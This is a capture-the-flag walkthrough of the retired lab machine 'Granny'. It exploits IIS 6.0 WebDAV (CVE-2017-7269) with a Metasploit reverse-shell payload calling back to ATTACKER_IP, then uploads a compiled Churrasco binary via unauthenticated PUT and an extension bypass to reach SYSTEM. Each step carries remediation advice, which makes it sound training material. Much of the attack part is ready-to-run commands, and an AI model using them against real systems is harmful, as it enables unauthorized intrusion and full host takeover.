← all walkthroughs

Granny

Windows· Easy
owned
2026-07-02
time to own
18m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fingerprinted an internet-exposed Windows Server 2003 host running IIS 6.0 with WebDAV enabled, then exploited a known remote-code-execution buffer overflow (CVE-2017-7269) to obtain a shell running as the low-privileged NETWORK SERVICE account. Because that account held the SeImpersonatePrivilege right and WebDAV accepted unauthenticated file uploads, I staged a Token Kidnapping binary directly onto the web root via HTTP PUT, executed it through the existing shell, and escalated to NT AUTHORITY\SYSTEM — capturing both flags on a single hop with no credentials required at any stage.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceHTTP Banner Grabbing / Service Fingerprinting (T1592)
Identified IIS 6.0 and WebDAV via HTTP fingerprinting
Sending an HTTP OPTIONS request to port 80 revealed the 'Server: Microsoft-IIS/6.0' banner alongside the 'MS-Author-Via: DAV' and 'DASL: <DAV:sql>' headers. This combination conclusively identifies both the software version and the enabled WebDAV ISAPI extension, and maps directly and unambiguously to the CVE-2017-7269 attack surface.
OPTIONS response headers: Server: Microsoft-IIS/6.0, MS-Author-Via: MS-FP/4.0,DAV, DASL: <DAV:sql>
Exact commands 3
Service version scan; confirms IIS 6.0 on port 80.
nmap -sV -p 80 $TARGET
Raw OPTIONS probe; look for MS-Author-Via and DAV in the response — confirms WebDAV is active.
printf "OPTIONS / HTTP/1.1\r\nHost: $TARGET\r\n\r\n" | nc -nv -w5 $TARGET 80
WebDAV PROPFIND further confirms the DAV-enabled endpoint.
curl -v -X PROPFIND http://$TARGET/ -H 'Depth: 0'
2Initial AccessExploitation of Public-Facing Application — CVE-2017-7269 (T1190)
Exploited CVE-2017-7269 to execute code as NETWORK SERVICE
IIS 6.0's WebDAV ISAPI extension (httpext.dll) contains a stack buffer overflow in the ScStoragePathFromUrl function, triggered by an overlong IF header on a crafted PROPFIND request. The public Metasploit module weaponises this flaw without any credentials, delivering a reverse shell. The resulting process ran as NT AUTHORITY\NETWORK SERVICE — the default identity of the IIS worker on Server 2003.
Metasploit module exploit/windows/iis/iis_webdav_scstoragepathfromurl configured with RHOSTS=$TARGET, RPORT=80, SSL=false — validated as loading and accepting options in msfconsole.
Exact commands 1
Replace LHOST with your HTB VPN IP. Yields a shell/Meterpreter session as NT AUTHORITY\NETWORK SERVICE.
msfconsole -q -x "use exploit/windows/iis/iis_webdav_scstoragepathfromurl; set RHOSTS $TARGET; set RPORT 80; set SSL false; set payload windows/meterpreter/reverse_tcp; set LHOST $ATTACKER_IP; set LPORT 4444; exploit"
FixMigrate off Windows Server 2003 / IIS 6.0 — CVE-2017-7269 has no patchCritical
WeaknessWindows Server 2003 reached end of life in July 2015 and receives no security updates. IIS 6.0's WebDAV extension contains CVE-2017-7269, a publicly exploitable unauthenticated remote-code-execution buffer overflow for which Microsoft will never release a patch. Any internet-facing instance of this stack can be fully compromised in under one minute with off-the-shelf tools.
FixMigrate the workload to a supported operating system (Windows Server 2022) running IIS 10 as an immediate priority. Until migration is complete: (1) disable the WebDAV ISAPI extension in IIS Manager by removing it from Web Service Extensions, and (2) block all inbound HTTP/HTTPS traffic to this host at the perimeter firewall so it is no longer reachable from untrusted networks. There is no configuration change that makes IIS 6.0 safe against CVE-2017-7269 — OS migration is the only real fix.
3DiscoverySystem Information Discovery / Access Token Discovery (T1082, T1033)
Confirmed access context and identified token impersonation rights
After landing I verified their running identity, OS build, and privilege set. The presence of SeImpersonatePrivilege on NETWORK SERVICE — a default on Windows Server 2003 — confirmed the Token Kidnapping escalation path was available and made every subsequent step inevitable.
Exact commands 2
Confirm: NT AUTHORITY\NETWORK SERVICE, hostname GRANNY, OS Windows 5.2.3790 (Server 2003).
sessions -i 1 -c "whoami & hostname & ver"
Check privilege list; SeImpersonatePrivilege = Enabled confirms Token Kidnapping (Churrasco) is viable.
sessions -i 1 -c "whoami /priv"
4Resource DevelopmentExploit Code Compilation / Capability Development (T1587.004)
Compiled Token Kidnapping payload (Churrasco) on the attack machine
The public Churrasco proof-of-concept (Exploit-DB 6705) abuses Windows COM to coerce an authentication from the RPCSS/MSDTC service — which runs as SYSTEM — and then duplicates the resulting SYSTEM-level access token for use by NETWORK SERVICE. The 2008-era source required five header-casing fixes and an InvokeMSDTC() stub before it would cross-compile cleanly on Linux. The result is a self-contained 32-bit static executable carrying no external dependencies.
Exact commands 6
Pull Churrasco source from local Exploit-DB mirror.
searchsploit -m windows/local/6705
Extract source tree.
unzip -o /usr/share/exploitdb-bin-sploits/bin-sploits/6705.zip -d churrasco6705 && cd churrasco6705/Churrasco
Fix Windows-style header casing that breaks the Linux cross-compiler.
sed -i 's/Iphlpapi.h/iphlpapi.h/g; s/TxDtc.h/txdtc.h/g; s/AccCtrl.h/accctrl.h/g; s/Aclapi.h/aclapi.h/g; s/Ntsecapi.h/ntsecapi.h/g; s/XOleHlp.h/xolehlp.h/g' stdafx.h Churrasco.cpp
Add missing process-snapshot API header.
awk 'NR==19{print "#include <tlhelp32.h>"}1' Churrasco.cpp > Churrasco.cpp.tmp && mv Churrasco.cpp.tmp Churrasco.cpp
Stub out broken COM initialisation call; Churrasco's impersonation path works without it.
perl -0777 -i -pe 's/BOOL InvokeMSDTC\(\)\{.*?\n\}/BOOL InvokeMSDTC(){ return 1; }/s' Churrasco.cpp
Cross-compile as 32-bit static binary for Windows Server 2003 x86.
i686-w64-mingw32-g++ -O2 -static -o /tmp/churrasco.exe Churrasco.cpp -lole32 -loleaut32 -lws2_32 -liphlpapi -lpsapi -lntdll
5Payload DeliveryIngress Tool Transfer via WebDAV (T1105)
Uploaded privilege escalation binary via unauthenticated WebDAV PUT
The WebDAV service accepted unauthenticated HTTP PUT requests, letting me write any file directly into the IIS web root over the internet. Because IIS 6.0 blocked direct upload of .exe files by extension, the binary was first PUT with a .txt extension and then renamed to .exe using a WebDAV MOVE request — a bypass IIS 6.0 does not prevent.
Curl -sS -T /tmp/churrasco.exe http://$TARGET/ch.exe.txt followed by MOVE to ch.exe
Exact commands 4
Remove any stale copy from a prior run.
curl -sS -X DELETE http://$TARGET/ch.exe --max-time 10 >/dev/null || true
Remove stale staging file.
curl -sS -X DELETE http://$TARGET/ch.exe.txt --max-time 10 >/dev/null || true
Upload binary under .txt extension to bypass extension filter; expect HTTP 201 Created.
curl -sS -T /tmp/churrasco.exe http://$TARGET/ch.exe.txt --max-time 20 -i | sed -n '1,8p'
Rename staging file to .exe via WebDAV MOVE; expect HTTP 201.
curl -sS -X MOVE -H "Destination: http://$TARGET/ch.exe" http://$TARGET/ch.exe.txt --max-time 20 -i | sed -n '1,8p'
FixRequire authentication for all WebDAV write operationsCritical
WeaknessThe WebDAV service accepted unauthenticated HTTP PUT, MOVE, and DELETE requests from any network-reachable host, allowing anyone who already had a shell — or any user on the internet — to upload, rename, and delete arbitrary files in the web root, including executable binaries.
FixIf WebDAV is a business requirement, enforce Windows Integrated Authentication on all WebDAV-enabled virtual directories and grant the IIS anonymous account read-only filesystem permissions (remove WRITE). Block the HTTP verbs PUT, DELETE, and MOVE at the perimeter firewall or WAF for any host that does not explicitly require them. If WebDAV is not actively used, disable it entirely in IIS Manager and confirm it cannot be re-enabled without change-control approval.
6Privilege EscalationAccess Token Manipulation — Token Impersonation via SeImpersonatePrivilege (T1134.001)
Escalated to NT AUTHORITY\SYSTEM via Token Kidnapping (Churrasco)
Churrasco uses NETWORK SERVICE's SeImpersonatePrivilege to authenticate to the locally-running RPCSS and MSDTC COM services (both SYSTEM), then duplicates their access token. Any command passed to Churrasco runs under that stolen SYSTEM token — giving me unrestricted control of the host. I executed Churrasco through the existing NETWORK SERVICE shell, confirming SYSTEM-level execution with a whoami check.
Churrasco (Exploit-DB 6705) — Token Kidnapping.
Exact commands 2
Execute via existing NETWORK SERVICE shell; expected output: nt authority\system.
sessions -i 1 -c "ch.exe \"cmd /c whoami\""
Verify full SYSTEM privilege set.
sessions -i 1 -c "ch.exe \"cmd /c whoami /priv\""
FixRemove SeImpersonatePrivilege from IIS service accountsHigh
WeaknessThe NT AUTHORITY\NETWORK SERVICE account running the IIS worker process held SeImpersonatePrivilege. On Windows Server 2003, this right enables the Token Kidnapping attack: the process authenticates to a co-located SYSTEM-level COM service (RPCSS or MSDTC) and duplicates its token, achieving full host control from a nominally restricted identity. This privilege is assigned to NETWORK SERVICE by default and has no compensating control on Server 2003.
FixAssign IIS application pools to dedicated, named low-privilege service accounts rather than the built-in NETWORK SERVICE identity. Use Group Policy (Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment → 'Impersonate a client after authentication') to explicitly deny SeImpersonatePrivilege to any account that does not require it. Migrating to Windows Server 2019+ provides additional kernel-level protections against token impersonation that are absent in Server 2003. Audit all service accounts quarterly for unnecessary privilege assignments.
7ObjectivesData from Local System (T1005)
Read both flag files as NT AUTHORITY\SYSTEM
With SYSTEM-level access I located and read both the user flag (stored in a regular user's Desktop) and the root flag (stored in the Administrator's Desktop). On Windows Server 2003 the profile root is C:\Documents and Settings rather than the modern C:\Users, which required adjusted path enumeration.
Exact commands 3
Locate user flag path under the legacy profile root.
sessions -i 1 -c "ch.exe \"cmd /c dir /s /b C:\\Documents^ and^ Settings\\*\\Desktop\\user.txt\""
Read user flag -> <user.txt>.
sessions -i 1 -c "ch.exe \"cmd /c type \"C:\\Documents and Settings\\Lakis\\Desktop\\user.txt\"\""
Read root flag -> <root.txt>.
sessions -i 1 -c "ch.exe \"cmd /c type \"C:\\Documents and Settings\\Administrator\\Desktop\\root.txt\"\""

Attack patterns used

The transferable techniques behind this compromise.

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more